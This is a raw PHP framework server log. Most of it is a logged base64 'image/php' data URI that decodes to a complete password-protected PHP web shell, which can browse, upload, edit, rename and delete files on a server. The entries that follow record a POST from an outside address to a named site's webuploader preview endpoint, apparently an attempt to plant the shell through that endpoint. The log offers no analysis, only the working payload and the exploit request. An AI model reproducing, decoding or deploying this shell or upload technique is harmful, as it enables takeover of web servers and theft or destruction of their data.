'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'hui', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:02+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002553s] [吞吐率:391.70req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 